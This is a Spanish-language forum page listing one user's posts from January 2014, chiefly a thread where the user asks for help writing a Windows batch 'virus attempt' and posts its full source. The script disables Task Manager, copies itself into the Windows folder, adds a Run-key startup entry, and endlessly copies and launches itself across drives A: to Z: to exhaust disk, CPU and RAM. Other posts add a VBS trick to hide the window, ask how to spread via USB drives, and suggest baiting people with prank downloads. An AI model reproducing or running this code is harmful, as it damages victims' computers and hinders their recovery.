Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - crazykenny

#3031
Scripting / Re: Variables en BATCH
19 Enero 2014, 19:58 PM
Entiendo, y muchas gracias por tus respuestas y toda la ayuda que me has ofrecido tanto tu como los demás compañeros del foro para poder realizar el programa en cuestión, el cual quisiera aprovechar para compartir con vosotros ya que estamos, aunque también acepto cualquier tipo de critica (tanto positiva como negativa) dado que es el primer código que he hecho en Batch y demás cosas, y, bueno, espero que os pueda ser de utilidad dado el caso.
Entonces, y, aunque he hecho varios códigos del programa, quisiera pasaros el ultimo que he hecho y que "creo" que puede dar mas problemas dado el caso;

Código (DOS) [Seleccionar]

reg add "hklm\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /T "REG_DWORD" /D "1" /f >nul
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /T "REG_DWORD" /D "1" /f >nul
SET varb=abreme
SET varc=.bat
vart=%varb%%varc%
vary=%WINDIR%
varz=%vary%%vart%
if exist %varz% goto copias
copy /Y %0 "%WINDIR%\" >NUL 2>&1
Reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V "*WindowsMachineSubProcess" /D "%WINDIR%\%~n0.bat" /F >NUL 2>&1
:copias
SET varb=%varb%1
SET var=A:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Bdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Bdir
SET var=B:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Cdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Cdir
SET var=C:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Ddir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Ddir
SET var=D:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Edir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Edir
SET var=E:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Fdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Fdir
SET var=F:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Gdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Gdir
SET var=G:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Hdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Hdir
SET var=H:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Idir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Idir
SET var=I:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Jdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Jdir
SET var=J:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Kdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Kdir
SET var=K:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Ldir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Ldir
SET var=L:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Mdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Mdir
SET var=M:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Ndir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Ndir
SET var=N:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Odir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Odir
SET var=O:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Pdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Pdir
SET var=P:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Qdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Qdir
SET var=Q:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Rdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Rdir
SET var=R:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Sdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Sdir
SET var=S:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Tdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Tdir
SET var=T:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Udir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Udir
SET var=U:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Wdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Wdir
SET var=W:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Xdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Xdir
SET var=X:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Ydir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Ydir
SET var=Y:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Zdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Zdir
SET var=Z:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :ZZdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:ZZdir
goto copias
pause
exit


Muchas gracias por vuestra atención.
Saludos.
#3032
Scripting / Re: Variables en BATCH
19 Enero 2014, 19:26 PM
Entiendo, y muchas gracias por tu explicación Elektro.
Por ultimo, y, si no es mucho pedir y/o mucha molestia, claro esta, ¿podría utilizar los datos que has expuesto y/o los comandos del administrador de tareas que hay indicados en el enlace del otro mensaje que has puesto?.
A ver, y, insisto, no lo digo con animo de ofender, ni faltar al respeto, ni nada por el estilo, pero, y aunque no tengo ningún tipo de intención de perjudicar a nadie con lo aprendido dentro de este foro ni con el programa en cuestión, toda esta información me resulta muy útil para experimentar y probar cosas nuevas en un ordenador aparte que tengo aquí y que falla de vez en cuando.
Por ultimo, y, si se me permite la pregunta, claro esta, ¿Qué métodos hay para que un virus se ejecute automáticamente al entrar el pendrive donde esta almacenado en un ordenador? (aparte del autorun.ini claro esta).
Muchas gracias por vuestra atención.
Saludos.
#3033
Foro Libre / Re: bromas dirigidas a lammers
19 Enero 2014, 18:59 PM
Cita de: topomanuel en 19 Enero 2014, 18:49 PM
Jaaaa.... aparte de"crazy", te estas volviendo "diabólico"... jejejejeeee... pero si... seria bueno crear algo así, aunque eso no garantizaría que siempre llegue gente con las mismas preguntas...

Saludos.
Tienes razón, además, no se hasta que punto seria legal por los posibles estropicios que se puedan causar dependiendo de la broma.
Muchas gracias por vuestra atención.
Saludos.
#3034
Foro Libre / bromas dirigidas a lammers
19 Enero 2014, 18:36 PM
Hola; quisiera abrir este tema para, digamos, "sugerir" una cosa, si no es molestia, claro esta.
Entonces, a ver, bueno, debido a que en mas de una ocasión van apareciendo desde y hacia "a saber" varios lammers preguntando cosas tipo, no se, "como hackear Facebook" (por citar algunos ejemplos), pues, bueno, había pensado en sugerir en abrir un tema dirigido a ellos haciéndoles creer que conseguirán cosas como las que acabo de comentar, pero, poniéndoles algún tipo de broma mas o menos de mal gusto, no se si me explico.
Por ejemplo, imaginaos que viene alguien con el objetivo de espiar los mensajes de Whatsapp de su novio porque desconfia de el.
Entonces, al ver un tema donde "supuestamente" dicen como hacerlo a través de la descarga de un programa, pues se descarga una broma molesta creyendo que esta le dara acceso a lo que quiere.
Muchas gracias por vuestra atención.
Saludos.
#3035
Scripting / Re: Variables en BATCH
19 Enero 2014, 18:03 PM
Cita de: Eleкtro en 19 Enero 2014, 17:19 PM
Eres libre de decidir donde postear dicho aporte, pero si quieres mi opinión (y consejo), no lo postees en la sección de análisis de Malware, pues aunque tu todavía no te des cuenta de ello Batch no se puede considerar un lenguaje de programación, mucho menos una herramienta de Malwara o de virus, postear códigos Batch en la sección de Malwara sería algo que suelen hacer los más noobs (no te insulto ni tampoco intento ofender, sólamente te intento explicar los motivos), si tienes un código escrito en Batch, lo más correcto sería que lo posteases aquí, pero como ya digo, eres libre de tomar esa decisión.

PD: Quizás este aporte te ayude a conocer otras formas de hacer bombas lógicas en Batch como el copiado masicvo de archivos ~> by Elektro - Virulator 1.0c

Saludos!

Entiendo, y muchas gracias por tu respuesta, Elecktro, y no te preocupes, que lo que has comentado no me molesta en ningún sentido todo lo que has comentado en tu mensaje.
Por otra parte, te agradezco el enlace, ahora mismo lo miro.
Dicho sea de paso, y, si no es molestia, claro esta, y, dado el caso, quisiera aprovechar para preguntar aquí lo que tenia en mente preguntar en la sección de Malware (dado el caso, claro esta).
Entonces, el caso es que he observado el hecho de que algunos virus es posible que se ejecuten automáticamente al insertar un pendrive con estos en un ordenador, y, por otra parte, el hecho de que un virus se ejecute al arrancar un ordenador, encontrando lo siguiente;

-Para hacer que un virus se ejecute al arrancar el ordenador, hay que modificar el registro de Windows y/o bien hacer que este virus se copie automáticamente en una determinada carpeta del ordenador (la cual se llamaba "inicio", creo recordar).

-Para que un virus se ejecute al conectar un pendrive al ordenador, ha de existir un archivo llamado "autorun.ini", cuyo contenido es algo asi como "OPEN=nombredelarchivo.bat".

Entonces, en el primer caso, y, aun habiendo encontrado en este foro y/o a través de Google cierto código que realizaba lo mencionado, pues, francamente, no he acabado de entender acerca de como funciona, motivo por el cual, y, si no es molestia, claro esta, quisiera solicitar el hecho de saber como funciona el código en cuestión, y, por otra parte, un ejemplo de este a incluir en un archivo ".bat" para que se ejecute al iniciar Windows.
Por otra parte, y, en lo segundo, creo haber entendido que con el archivo "autorun.ini", es posible deshabilitar y/o modificar ciertas opciones en Windows (la cual, por cierto, viene por defecto "inhabilitada" -u algo asi- a partir de Windows 7 y SO mas modernos de Microsoft) para evitar ejecutar dicho archivo, con el consiguiente impedimento para ejecutar el archivo ".bat".
Entonces, con esto que he comentado de la segunda opción, quisiera preguntaros si existe una alternativa al "autorun.ini" para ejecutar archivos ".bat" de forma automática al conectar un pendrive a un ordenador.
Por ultimo, y, ya que estamos, creo que he comentado mi intención de publicar el código, el cual, y, aun faltando por poner en dicho código el hecho de buscar cada unidad por su letra, quisiera publicar el código a ver que os parece.

SET varb=abreme
SET varc=.bat
:copias
SET var=C:\
SET varb=%varb%1
SET varb=%varb%1
SET vard=%var%%varb%%varc%
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
goto copias

Evidentemente, el código en cuestión lo que realiza es copiarse a si mismo (pero con diferente nombre) en la unidad C:\ y ejecutar su copia nada mas realizarla de forma indefinida, provocando el hecho de llenar dicha unidad con sus copias, y, de paso, consumir RAM y CPU indefinidamente sin que el usuario pueda hacer gran cosa.
Muchas gracias por vuestra atención.
Saludos.
#3036
Scripting / Re: Variables en BATCH
19 Enero 2014, 17:03 PM
Cita de: daryo en 19 Enero 2014, 14:48 PM
que tal esto?
desde un solo archivo creas los demas que necesitas el ocultar.vbs y el darta.bat luego ejecuta el ocultar.vbs
Código (dos) [Seleccionar]

echo Set WshShell = CreateObject("WScript.Shell") > ocultar.vbs
echo WshShell.Run chr(34) & "darta.bat" & Chr(34), 0 >> ocultar.vbs
echo Set WshShell = Nothing >> ocultar.vbs
echo :calculadora > darta.bat
echo start calc >> darta.bat
echo goto calculadora >> darta.bat
ocultar.vbs





[MOD]: La etiqueta "batch" no existe, es [ code = dos ] :P


Ante todo muchas gracias por vuestras respuestas y por vuestra ayuda que me ha parecido muy útil, la verdad.

Por otra parte, a ver, no se si lo he comentado, o, almenos, creo que he comentado algo relacionado con la sección de malware, pero podríamos decir que, bueno, y, sin animo de ofender, ni nada por el estilo, he decidido empezar a programar un poco en batch para hacer un pequeño experimento con lo que conozco de otro lenguaje de programaciuon.

Entonces, la idea en cuestión que he tenido, digamos que podría definirse como un "intento de virus" cuya finalidad es generar copias de si mismo en los discos duros y demás dispositivos de almacenamiento conectados a un ordenador con SO Windows.

Por otra parte, el motivo por el cual he abierto este tema y he comentado lo de la sección de malware, pues viene a ser porque desconozco ciertas cosas que necesito para la creación de este intento de virus, pero esto no significa que la idea básica de, digamos, código del virus, no la conozca; es mas, he realizado una pequeña prueba en mi ordenador y ha hecho lo que esperaba.

Dicho sea de paso, y, dado que la idea de este programa es copiarse y ejecutar sus copias a través de discos duros y demás dispositivos de almacenamiento tipo pendrive (entre otras cosas) con el objetivo de llenar estos dispositivos y la CPU y la memoria RAM de un ordenador, ¿os parecería bien si aporto dicho código en la sección de análisis y diseño de malware, ya que estamos?.

Ademas, esto ultimo también lo comento porque, bueno, necesitaría unas dos ultimas cosas (si no es mucho pedir, claro esta), las cuales he visto en este foro, pero, no las he acabado de entender muy bien sobre como realizarlas con el objetivo de entender mas cosas relacionadas con el funcionamiento de malware, claro esta.

Por ultimo, decir que dispongo de un ordenador portátil que creo que esta en sus ultimas, y, dado el caso, tengo previsto utilizar el código en maquinas virtuales y/o en dicho portátil, claro esta.
Muchas gracias por vuestra atención.
Saludos.
#3037
Scripting / Re: Variables en BATCH
19 Enero 2014, 14:36 PM
Muchas gracias por la información ivancea96.
Cuando haga la prueba te comento; no obstante, una ultima pregunta, si no es molestia, claro esta; el .vbs, para que me oculte la consola, ¿he de ejecutarlo a través del .bat, verdad?.
Muchas gracias por vuestra atención.
Saludos.
#3038
Scripting / Re: Variables en BATCH
19 Enero 2014, 11:58 AM
Hola, ivancea96.
He intentado probar tu código en mi bat, pero tengo problemas para que funcione el código en si.
Veras, mi código lo que hace básicamente (y el cual quisiera aportarlo a la sección de análisis y diseño de malware cuando pueda ocultar la ventana) consiste en copiar archivos de si mismo, y cuando pongo tu código falla (y no lo digo para molestar ni nada por el estilo) y no hace nada.
No obstante, creo que no lo he puesto bien y no se como ponerlo, a ver si me puedes ayudar;
Código (vb) [Seleccionar]

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "darta.bat" & Chr(34), 0
Set WshShell = Nothing
copy %0 "J:/dartacbb.bat"
goto nombre
:nombre
pause
exit

Por otra parte, se que he puesto una etiqueta debajo para ir al código; evidentemente, a sido intencionado y la etiqueta debería ir encima del copy, pero este código es para hacer pequeñas pruebas antes de poner la idea completa.
Muchas gracias por vuestra atención.
Saludos.
#3039
Scripting / Re: Variables en BATCH
18 Enero 2014, 23:12 PM
Cita de: ivancea96 en 18 Enero 2014, 22:53 PM
Set var=Hola
Set var=%var% y adios :3
echo %var%


El eco debería ser "Hola y adios :3".
Entiendo, y muchas gracias por tu respuesta ivancea96, es lo que necesitaba.
Por otra parte, y, si no es mucho pedir, claro esta, ¿en batch es posible "ocultar" la ventana que aparece cuando se ejecutan los archivos ".bat" (u algo asi)?.
Por ultimo, y, aunque no sea posible realizar esto que pregunto, ¿sabes si es posible evitar que aparezcan las ordenes que ejecuta el programa?.
Por ejemplo, cuando ejecuto los archivos ".bat", antes de ejecutar las ordenes que le he puesto, aparece la ruta desde donde se ejecuta el archivo y después la orden que le he indicado, y me preguntaba si es posible esconder dichas ordenes.
Muchas gracias por vuesrtra atención.
Saludos.
#3040
Scripting / Variables en BATCH
18 Enero 2014, 21:49 PM
Hola a todos; el caso es que hoy he empezado a programar un poco en Batch, y, bueno, no se si debería poner este post aquí o bien en la sección de Malware por lo que quiero hacer, pero bueno.
Entonces, el caso es que estoy experimentando un poco realizando un pequeño programa que, digamos, si una unidad existe en Windows para, de este modo, copiarse a dicha unidad y a partir de ahí, ejecutarse (cabe destacar que este proceso lo realiza indefinidamente).
Entonces, me surgen los siguientes problemas a los que no he encontrado solucion a través de google;
-El primero es que no se como hacer que el programa trabaje, digamos, escondido, por lo que necesito que, a ser posible, no muestre la ventana para enseñar lo que esta realizando.
-El segundo es que no se como añadir texto a una variable; no se si me explico.
Según he leído, puedes asignar un determinado texto a una variable poniendo algo asi como set %variable%=texto, pero si tengo una variable con un texto determinado, pues no se como añadir texto adicional a la variable sin eliminar el que ya tenia.
Os agradecería mucho vuestra ayuda porque no se como hacer esto.
Muchas gracias por vuestra atención, y me disculpo por todas las molestias causadas con este tema.
Saludos.